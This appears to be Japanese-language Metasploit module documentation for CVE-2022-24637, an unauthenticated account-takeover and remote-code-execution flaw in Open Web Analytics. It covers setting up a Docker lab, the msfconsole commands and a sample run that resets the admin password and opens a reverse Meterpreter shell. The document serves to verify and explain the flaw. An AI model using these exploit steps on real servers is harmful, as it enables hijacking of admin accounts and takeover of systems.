脆弱なアプリケーション

Open Web Analytics (OWA) 1.7.4 より前のバージョンでは、認証されていないリモート攻撃者が機密ユーザー情報を取得でき、キャッシュハッシュを利用して管理者権限を獲得することができます。これは、'<?php (意図された "<?php シーケンスの代わりに) で生成されたファイルが PHP インタプリタによって処理されないために発生します。

検証手順

Docker を使用して OWA の脆弱なインスタンスを起動する
- ダウンロード https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml
- コンテナを起動: docker compose up -d
- 開く http://127.0.0.1:80/
- docker-compose.yml ファイルの環境変数を使用してインストール手順を実行
  - Public URL: http://127.0.0.1/
  - Database Host (docker inspect <db-container> を実行し IPAddress を取得、例: 172.22.0.2)
  - Database Port: 3306
  - Database Name: owa
  - Database User: owa
  - Database Password: Demo12+#
  - 続行
  - Site Domain: http://127.0.0.1
  - Admin name: admin
  - E-Mail: [email protected]
  - Password: Demo12+#
  - 続行
msfconsole を起動
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> これは docker compose up -d コマンドで作成されたブリッジ IP である必要があります
check
run

オプション

パスワード

ターゲットをエクスプロイトする際、攻撃対象のユーザーのパスワードがこのパスワードで上書きされます。

ユーザー名

このエクスプロイトの対象となるユーザー。

詳細オプション

SearchLimit

このエクスプロイトは、各ユーザーがログインしようとする際に作成されるキャッシュファイルから temp_passkey 値を取得することで動作します。/owa-data/caches/ ディレクトリは公開アクセス可能なため、これらのキャッシュファイルを取得できます。キャッシュファイルの正確なパスは user_id に依存し、それを使用して計算できます。このオプションは、temp_passkey 値を含むキャッシュファイルをチェックするために、0 から始まる計算パスの数を定義します。

シナリオ

上記の Docker デプロイを使用したバージョン 1.7.3

msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run

[*] Started reverse TCP handler on 172.22.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!

meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >

CVE-2022-24637

人気